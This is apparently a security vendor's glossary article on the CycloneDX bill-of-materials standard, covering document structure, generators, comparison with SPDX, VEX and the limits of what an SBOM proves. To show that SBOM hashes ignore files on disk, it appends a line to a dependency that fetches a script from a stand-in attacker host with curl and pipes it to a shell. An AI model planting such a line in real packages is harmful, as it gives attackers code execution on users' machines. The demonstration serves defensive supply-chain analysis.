# CycloneDX

> CycloneDX is the OWASP and Ecma (ECMA-424) bill of materials standard for listing software components, dependencies, and vulnerability data in JSON or XML.

Also known as: CDX, OWASP CycloneDX, ECMA-424, CycloneDX SBOM, CycloneDX BOM

Source: https://socket.dev/glossary/cyclonedx

Last updated: 2026-10-24

CycloneDX (CDX) is an OWASP standard for bills of materials, ratified by Ecma International as ECMA-424, that describes software as machine-readable JSON, XML, or Protobuf. A CycloneDX SBOM lists components by Package URL, records a separate dependency graph, and can carry hashes, licenses, and vulnerability exploitability (VEX) data that scanners, buyers, and regulators exchange.

The most important fact about a CycloneDX [software bill of materials](https://socket.dev/glossary/software-bill-of-materials) is that it records what its generator was told, not what is on disk. We appended a shell command to an installed dependency and regenerated the SBOM with npm 12.2.1 and cdxgen 12.9.0. Both emitted the same SHA-512 as before, because both copy it from the lockfile. Our position: CycloneDX is the better default format for security tooling, but every SBOM is a claim. Verify the packages themselves before they install, and judge an SBOM by how and when it was generated, not by which format it uses.

## What is CycloneDX?

CycloneDX is a specification for describing what software, hardware, services, and models are made of. OWASP released v1.0 in [March 2018](https://cyclonedx.org/about/history/). In December 2023, Ecma International and the OWASP Foundation formed Technical Committee 54 (TC54) to standardize it, and Ecma published CycloneDX 1.6 as [ECMA-424](https://ecma-international.org/publications-and-standards/standards/ecma-424/), 1st edition, in June 2024. Version 1.7 shipped on [October 21, 2025](https://cyclonedx.org/news/cyclonedx-v1.7-released/) and became ECMA-424, 2nd edition, in December 2025.

The name SBOM undersells the scope. The 1.7 schema's component `type` field accepts 13 values, including `machine-learning-model`, `data`, `firmware`, `device`, and `cryptographic-asset`. The same document format therefore serves as an SBOM, a hardware BOM, an [AI bill of materials](https://socket.dev/glossary/aibom), or a cryptography BOM (CBOM). Services, meaning APIs and their data flows, get their own top-level array, which is how CycloneDX expresses a SaaSBOM. Version 1.7 added structured citations, which record where each piece of BOM data came from, and first-class patent data.

The specification defines three encodings with registered media types: `application/vnd.cyclonedx+json`, `application/vnd.cyclonedx+xml`, and `application/x.vnd.cyclonedx+protobuf`. Every generator we tested emits JSON. Components are identified primarily by Package URL (PURL), which Ecma published as its own standard, [ECMA-427](https://www.ecma-international.org/publications-and-standards/standards/ecma-427/), in December 2025.

## Anatomy of a CycloneDX SBOM

To see the structure, we created a project with one dependency, `debug@4.4.1`, which pulls in `ms@2.1.3`, and ran npm's built-in generator. This is the real output, with the `debug` entry and the author and description fields removed for length:

```bash
npx npm@12.2.1 sbom --sbom-format cyclonedx
```

```json
{
  "$schema": "http://cyclonedx.org/schema/bom-1.5.schema.json",
  "bomFormat": "CycloneDX",
  "specVersion": "1.5",
  "serialNumber": "urn:uuid:1104cd63-f1eb-4c23-ac59-a3b1879ae380",
  "version": 1,
  "metadata": {
    "timestamp": "2026-10-24T06:45:06.738Z",
    "lifecycles": [{ "phase": "build" }],
    "tools": [{ "vendor": "npm", "name": "cli", "version": "12.2.1" }],
    "component": {
      "bom-ref": "cdx-demo@1.0.0",
      "type": "library",
      "name": "cdx-demo",
      "version": "1.0.0",
      "purl": "pkg:npm/cdx-demo@1.0.0"
    }
  },
  "components": [
    {
      "bom-ref": "ms@2.1.3",
      "type": "library",
      "name": "ms",
      "version": "2.1.3",
      "scope": "required",
      "purl": "pkg:npm/ms@2.1.3",
      "externalReferences": [
        { "type": "distribution", "url": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz" }
      ],
      "hashes": [
        {
          "alg": "SHA-512",
          "content": "e85973b9b4cb646dc9d9afcd542025784863ceae68c601f268253dc985ef70bb2fa1568726afece715c8ebf5d73fab73ed1f7100eb479d23bfb57b45dd645394"
        }
      ],
      "licenses": [{ "license": { "id": "MIT" } }]
    }
  ],
  "dependencies": [
    { "ref": "cdx-demo@1.0.0", "dependsOn": ["debug@4.4.1"] },
    { "ref": "debug@4.4.1", "dependsOn": ["ms@2.1.3"] },
    { "ref": "ms@2.1.3", "dependsOn": [] }
  ]
}
```

Four parts of this document do the work. The `serialNumber` and `version` pair identifies the BOM itself: the serial number is a UUID that stays fixed across revisions, and the schema says the integer version "SHOULD be incremented by 1" whenever the BOM changes. The `metadata` block names the subject (`component`), when the data was collected (`lifecycles`), and what collected it (`tools`). The `components` array is a flat inventory. The `dependencies` array is the graph.

Each component carries two identifiers. A `bom-ref` is unique only inside this one document and exists so other parts of the BOM can point at the entry. A `purl` is globally meaningful: `pkg:npm/ms@2.1.3` names the ecosystem, package, and version the way the registry knows them. npm uses `name@version` as its bom-ref, while pnpm and cdxgen reuse the PURL.

> Generated by npm 12.2.1 for a project that depends on debug@4.4.1. Completeness of the whole BOM belongs in a compositions block, which none of the generators we tested emit.
>
> How a CycloneDX SBOM stores a dependency graph. The components array lists cdx-demo 1.0.0 as the metadata component, debug 4.4.1, and ms 2.1.3 once each. The dependencies array lists edges: cdx-demo depends on debug, debug depends on ms, ms depends on nothing, declared with an empty list. A consumer rebuilds the graph from those edges. A component missing from the dependencies array has unknown dependencies, not zero.

The figure shows the three parts of the npm-generated BOM side by side. The `components` array lists `cdx-demo@1.0.0` as the metadata component, the subject of the BOM, followed by `debug@4.4.1` (`pkg:npm/debug@4.4.1`) and `ms@2.1.3` (`pkg:npm/ms@2.1.3`), each exactly once. The `dependencies` array holds the edges: `cdx-demo@1.0.0` depends on `debug@4.4.1`, `debug@4.4.1` depends on `ms@2.1.3`, and `ms@2.1.3` depends on an empty list, which declares that it has no dependencies. A component with no entry in `dependencies` at all has unknown dependencies, not zero. A consumer rebuilds the chain from cdx-demo to debug to ms using the edges alone.

The graph is separate from the inventory for a structural reason. Real dependency graphs are directed acyclic graphs with shared nodes, not trees. Nesting each dependency inside its parent would duplicate a package every time two parents share it. CycloneDX lists every component once and expresses edges as an adjacency list keyed by bom-ref, so a package used by fifty others appears once with fifty incoming edges.

The empty `dependsOn` on `ms` is an assertion, not a blank. The [CycloneDX 1.7 JSON schema](https://github.com/CycloneDX/specification/blob/master/schema/bom-1.7.schema.json) requires components without dependencies to be "declared as empty elements," and warns: "Components or services that are not represented in the dependency graph may have unknown dependencies." Completeness for the whole BOM belongs in a top-level `compositions` block, whose `aggregate` field takes values such as `complete`, `incomplete_first_party_only`, and `unknown`. None of the three generators we tested emitted `compositions`, so a consumer cannot tell a complete inventory from a partial one.

## How do you generate a CycloneDX SBOM?

You generate a CycloneDX SBOM with a package manager's built-in command or a dedicated generator that reads manifests, lockfiles, or binaries. As of October 2026, the main JavaScript generators produce noticeably different documents from the same project:

| Generator | Command | specVersion | Lifecycle phase | Where the SHA-512 goes |
| --- | --- | --- | --- | --- |
| npm 12.2.1 | npm sbom --sbom-format cyclonedx | 1.5 | build, or pre-build with --package-lock-only | component.hashes |
| pnpm 11.28.6 | pnpm sbom --sbom-format cyclonedx | 1.7 | build | the distribution external reference |
| cdxgen 12.9.0 | cdxgen -t js . | 1.4 to 1.7, default 1.7 | set by --lifecycle | component.hashes, plus evidence |
| Socket CLI | socket cdxgen . | 1.4 to 1.7, default 1.6 | pre-build by default | same as cdxgen |

npm's 1.5 output comes from a constant in its [generator source](https://github.com/npm/cli/blob/latest/lib/utils/sbom-cyclonedx.js). pnpm added its `sbom` command in [pnpm 11](https://socket.dev/blog/pnpm-11-adds-new-supply-chain-protection-defaults), with CycloneDX 1.7 and SPDX 2.3 output. pnpm's hash placement is the more precise one: the SHA-512 is a hash of the registry tarball, so pnpm attaches it to the tarball's `distribution` reference instead of presenting it as a hash of the installed component.

The lifecycle phase matters more than it looks. [CISA's 2025 draft SBOM minimum elements](https://socket.dev/blog/cisa-2025-sbom-guidance-update) add generation context as a new minimum element, distinguishing pre-build, build, and post-build SBOMs. CycloneDX has carried that distinction since 1.5 in `metadata.lifecycles`. A pre-build SBOM describes what the manifests and lockfile resolve to. A post-build SBOM describes an artifact. They answer different questions, and a consumer who does not check the phase will compare one against the other.

Generation can also execute untrusted code. cdxgen's `--install-deps` option defaults to true for some project types, which lets the generator run a package manager install and, with it, every dependency's [install scripts](https://socket.dev/glossary/postinstall-scripts). Socket's `socket cdxgen` wrapper defaults the lifecycle to `pre-build`, which turns `--install-deps` off so the scan does not execute arbitrary code ([docs](https://docs.socket.dev/docs/socket-cdxgen)). The same reasoning applies to the common CI pattern of generating an SBOM after `npm install`: by the time the SBOM exists, the install scripts it lists have already run.

Python packaging now has a place for SBOMs inside the package itself. [PEP 770](https://socket.dev/blog/new-python-packaging-proposal-aims-to-solve-phantom-dependency-problem-with-sboms), accepted in April 2025, [reserves `.dist-info/sboms/`](https://peps.python.org/pep-0770/) inside distributions for CycloneDX or SPDX documents. That lets a wheel declare the native libraries bundled into it, which Python's own metadata cannot describe.

## Does a CycloneDX SBOM prove what you shipped?

A CycloneDX SBOM does not prove what you shipped. It records what the generator read, and most generators read metadata. We tested this directly by tampering with an installed dependency in the demo project:

```bash
echo 'require("child_process").exec("curl https://evil.example/x | sh");' >> node_modules/ms/index.js
npx npm@12.2.1 sbom --sbom-format cyclonedx > after.json
```

The `ms` entry in `after.json` is identical to the original: same version, same license, same SHA-512 ending in `5394`. cdxgen 12.9.0 produced the same hash too. We downloaded `https://registry.npmjs.org/ms/-/ms-2.1.3.tgz` and hashed it: the SBOM's value is the SHA-512 of that tarball. It is the `integrity` field from the [lockfile](https://socket.dev/glossary/lockfile), converted from base64 to hex. npm's generator never reads the files it describes:

```javascript
if (node.integrity) {
  const integrity = ssri.parse(node.integrity, { single: true })
  component.hashes = [{
    alg: ALGO_MAP[integrity.algorithm] || 'SHA-512',
    content: integrity.hexDigest(),
  }]
}
```

cdxgen is more candid about this. Its output includes CycloneDX's `evidence.identity` block, which states the technique used to identify each component (path shortened):

```json
"evidence": {
  "identity": [{
    "field": "purl",
    "confidence": 1,
    "methods": [{ "technique": "manifest-analysis", "confidence": 1, "value": "demo/package-lock.json" }]
  }]
}
```

The schema defines nine other techniques, including `hash-comparison`, `binary-analysis`, and `source-code-analysis`. A confidence of 1 under `manifest-analysis` means cdxgen is certain the lockfile says `ms@2.1.3`. It says nothing about whether the code on disk matches.

> The SHA-512 is the hash of the registry tarball recorded at install time, not of the files on disk. cdxgen 12.9.0 reads the lockfile and reports the same hash.
>
> Where the fields of the ms@2.1.3 entry in an npm-generated CycloneDX SBOM come from. Lockfile metadata supplies the SHA-512 hash, copied from the integrity field, and the distribution URL, copied from the resolved field. The installed package.json supplies name, version, license, description, and author, and the purl is built from name and version. The code that actually runs, such as node\_modules/ms/index.js, feeds no field. After we appended a malicious line to index.js, every field stayed identical.

The figure traces each field of the `ms@2.1.3` entry back to what `npm sbom` read to produce it:

| Source npm sbom reads | CycloneDX fields it supplies | Changed after we tampered with index.js? |
| --- | --- | --- |
| Lockfile metadata: integrity and resolved | hashes (SHA-512 of the registry tarball), externalReferences of type distribution | No |
| node\_modules/ms/package.json, the installed manifest | name, version, purl (built from name and version), licenses, description, author | No |
| node\_modules/ms/index.js, the code that actually runs | None | Not applicable: no field reads it, so the entry was identical before and after |

The gap cuts both ways in real attacks. In [the axios compromise](https://socket.dev/blog/axios-npm-package-compromised), the malicious `axios@1.14.1` added a dependency, `plain-crypto-js@4.2.1`, whose postinstall dropper ran, deleted itself, and renamed a clean `package.md` over its own `package.json`. After that, the installed directory looked like an ordinary crypto library declaring version 4.2.0. We reproduced the swap with a harmless local package. As of npm 12, dependency install scripts do not run by default, so we had to approve the script with `npm install-scripts approve` before it would execute. Once it ran, the disk showed the clean 4.2.0 manifest. Here, copying from the lockfile helped: `npm sbom --package-lock-only` and cdxgen still reported 4.2.1, the version that carried the dropper. A plain `npm sbom`, which reads `node_modules`, refused to run with `ESBOMPROBLEMS` because the disk and the lockfile disagreed. No generator recorded what the script did.

A malicious release also looks perfectly valid in an SBOM. An SBOM of an affected build lists `axios@1.14.1` and `plain-crypto-js@4.2.1` with correct PURLs and correct registry hashes. Nothing in the format marks either as malicious, and malware does not get a CVE for a vulnerability matcher to find.

Scope is the second gap. A project SBOM is generated from a project's lockfile, so code fetched by [npx](https://socket.dev/glossary/npx-npm-package-runner) in CI or installed globally never appears in it. In our analysis of [the axios compromise's blast radius](https://socket.dev/blog/hidden-blast-radius-of-the-axios-compromise), we observed a CI pipeline that ran a CLI through npx and pulled in the malicious dependency through a transitive axios range. Nothing fetched that way is in the project's lockfile. A clean SBOM checked after the fact does not prove you were not exposed.

None of this makes SBOMs useless. Retained per build, an SBOM is a timestamped record of what was resolved. That is exactly the evidence that disappears once a registry removes a malicious version and reinstalls come back clean. Treat it as an inventory of claims with a known scope, and get assurance about contents from analyzing the packages themselves.

## What is the difference between SPDX and CycloneDX?

The difference between SPDX and CycloneDX is now mostly governance, data model, and tool support, since both cover licenses, dependencies, and security data. [SPDX](https://socket.dev/glossary/spdx) (Software Package Data Exchange) is a Linux Foundation project first published in 2011, and SPDX 2.2.1 is the international standard ISO/IEC 5962:2021. SPDX 3.0, [released April 16, 2024](https://linuxfoundation.org/press/spdx-3-revolutionizes-software-management-in-systems-with-enhanced-functionality-and-streamlined-use-cases), rebuilt the model as a graph of elements linked by explicit relationship objects, serialized as JSON-LD, with profiles for security, builds, AI, and datasets. As of October 2026, the latest final release is SPDX 3.0.1 from December 2024, and SPDX 3.1 has been a release candidate since January 2026.

npm can emit both formats from the same tree. Here is the same `ms` package as SPDX 2.3:

```json
{
  "name": "ms",
  "SPDXID": "SPDXRef-Package-ms-2.1.3",
  "versionInfo": "2.1.3",
  "downloadLocation": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  "filesAnalyzed": false,
  "licenseDeclared": "MIT",
  "externalRefs": [
    { "referenceCategory": "PACKAGE-MANAGER", "referenceType": "purl", "referenceLocator": "pkg:npm/ms@2.1.3" }
  ],
  "checksums": [
    { "algorithm": "SHA512", "checksumValue": "e85973b9b4cb646dc9d9afcd542025784863ceae68c601f268253dc985ef70bb2fa1568726afece715c8ebf5d73fab73ed1f7100eb479d23bfb57b45dd645394" }
  ]
}
```

The data is the same, including the same tarball hash. The modeling differs. SPDX puts the dependency edge in a separate `relationships` array (`SPDXRef-Package-ms-2.1.3 DEPENDENCY_OF SPDXRef-Package-debug-4.4.1`), treats the PURL as one external reference among several, and requires the `filesAnalyzed` flag. That flag is a small honesty advantage: SPDX makes the generator say it did not look at the files, while in CycloneDX the equivalent statement is optional evidence.

Many comparison pages still say SPDX is for licenses and CycloneDX is for security. That framing is out of date. CycloneDX's `licenses` field accepts SPDX license identifiers and full SPDX license expressions such as `Apache-2.0 AND (MIT OR GPL-2.0-only)`. SPDX 3.0's Security profile defines VEX relationships for affected, not affected, fixed, and under investigation, plus CVSS and EPSS assessments.

|  | CycloneDX | SPDX |
| --- | --- | --- |
| Steward | OWASP and Ecma TC54 | Linux Foundation |
| Formal standard | ECMA-424 (1.6 and 1.7) | ISO/IEC 5962:2021 (2.2.1) |
| Latest final release, Oct 2026 | 1.7, October 2025 | 3.0.1, December 2024 |
| Data model | Document with a flat component list plus an adjacency list | 2.x: packages, files, and relationships. 3.x: an RDF graph of elements |
| Encodings | JSON, XML, Protobuf | 2.x: JSON, YAML, RDF/XML, tag-value. 3.x: JSON-LD and other RDF serializations |
| VEX | Native, in vulnerabilities\[\].analysis | Security profile in 3.0; not in 2.3 |
| Beyond software | ML models, datasets, crypto assets, services, hardware | AI and dataset profiles in 3.0 |
| JS package manager output, Oct 2026 | npm 12: 1.5. pnpm 11: 1.7 | npm 12 and pnpm 11: 2.3 |

Our verdict: default to CycloneDX for security pipelines. JavaScript generators emit current versions of it, VEX lives in the same document, and PURL identity maps directly to registry packages. Use SPDX when a customer, regulator, or Linux distribution requires it, or when file-level license provenance is the point. If you sell to both audiences, produce both from the same generator run. Conversion between them is lossy wherever one side models a field the other lacks, such as CycloneDX VEX states in SPDX 2.3.

## VEX inside the BOM

CycloneDX carries vulnerability data in a top-level `vulnerabilities` array, and the `analysis` object in each entry turns a list of CVE matches into a [VEX](https://socket.dev/glossary/vex) statement. The `state` field takes one of six values: `resolved`, `resolved_with_pedigree`, `exploitable`, `in_triage`, `false_positive`, or `not_affected`. A `not_affected` verdict carries one of nine justifications, from `code_not_present` to `protected_by_mitigating_control`. This minimal document validates against the 1.7 schema:

```json
{
  "bomFormat": "CycloneDX",
  "specVersion": "1.7",
  "serialNumber": "urn:uuid:3e671687-395b-41f5-a30f-a58921a69b79",
  "version": 1,
  "components": [
    { "bom-ref": "pkg:npm/lodash@4.17.20", "type": "library", "name": "lodash", "version": "4.17.20", "purl": "pkg:npm/lodash@4.17.20" }
  ],
  "vulnerabilities": [
    {
      "id": "CVE-2021-23337",
      "source": { "name": "OSV", "url": "https://osv.dev/vulnerability/GHSA-35jh-r3h4-6jhm" },
      "analysis": {
        "state": "not_affected",
        "justification": "code_not_reachable",
        "detail": "No call path from application code reaches lodash's template function."
      },
      "affects": [{ "ref": "pkg:npm/lodash@4.17.20" }]
    }
  ]
}
```

CVE-2021-23337 is a command injection in lodash's `template` function, fixed in 4.17.21. An application that ships lodash 4.17.20 but never calls `template` is not affected. `code_not_reachable` is precisely the verdict that [reachability analysis](https://socket.dev/glossary/reachability-analysis) produces. We think most CVE alerts are noise, and that reachability, not severity score, should drive triage. VEX makes that triage portable, so downstream consumers do not have to repeat it. Socket's CycloneDX export endpoint, `GET /v0/orgs/{org_slug}/export/cdx/{id}`, accepts `include_vulnerabilities=true` to embed vulnerability data, plus reachability and VEX data where available ([docs](https://docs.socket.dev/reference/exportcdx)).

VEX has two limits. A VEX statement is the producer's assertion. It is unauthenticated unless the BOM is signed, which CycloneDX supports through its `signature` property using JSON Signature Format. And VEX speaks only about known vulnerabilities. There is no VEX state for a package that is malicious by design.

## Component identity: PURL first, CPE second

SBOM consumers match components to vulnerability data by identifier, and the identifier decides which databases can answer. CycloneDX components can carry `purl`, `cpe`, `swid`, `omniborId`, and `swhid`. PURL is the native choice for open source because it names a package exactly as its registry does: ecosystem, name, and version. OSV and the GitHub Advisory Database identify affected packages the same way.

CPE matching depends on enrichment by the National Vulnerability Database, and that enrichment is shrinking. In April 2026, [NIST stopped enriching most CVEs](https://socket.dev/blog/nist-officially-stops-enriching-most-cves) after submissions rose 263% between 2020 and 2025. Without enrichment, a CVE has no CPE data linking it to products. A CycloneDX pipeline keyed on PURL keeps working. One keyed on CPE inherits the NVD's backlog.

PURLs also make an SBOM a work order for deeper analysis. Socket's `POST /v0/orgs/{org_slug}/purl` endpoint accepts a CycloneDX `components` array, up to 1,024 PURLs per request, and returns Socket's alerts and scores for each package ([docs](https://docs.socket.dev/reference/batchpackagefetchbyorg)). The BOM says which packages you have. Analysis of those packages' actual contents says what they do.

The open problem is binding claims to bytes. CycloneDX 1.7 can already express most of the binding: citations for where each field came from, `hash-comparison` as an identity technique, and signatures over the whole document. CycloneDX 2.0, [announced on August 5, 2026](https://cyclonedx.org/news/cyclonedx-v2.0-coming-soon/) for a fall release, goes further: each claim records its basis, method, confidence, and evidence, and VEX statements must be supported by analysis such as reachability. As of October 2026, 1.7 is still the current release. None of the three generators we tested populated citations, and none hashed the files it described. Until generators do, a CycloneDX SBOM is an accurate copy of your lockfile in a better schema, and someone still has to read the code.
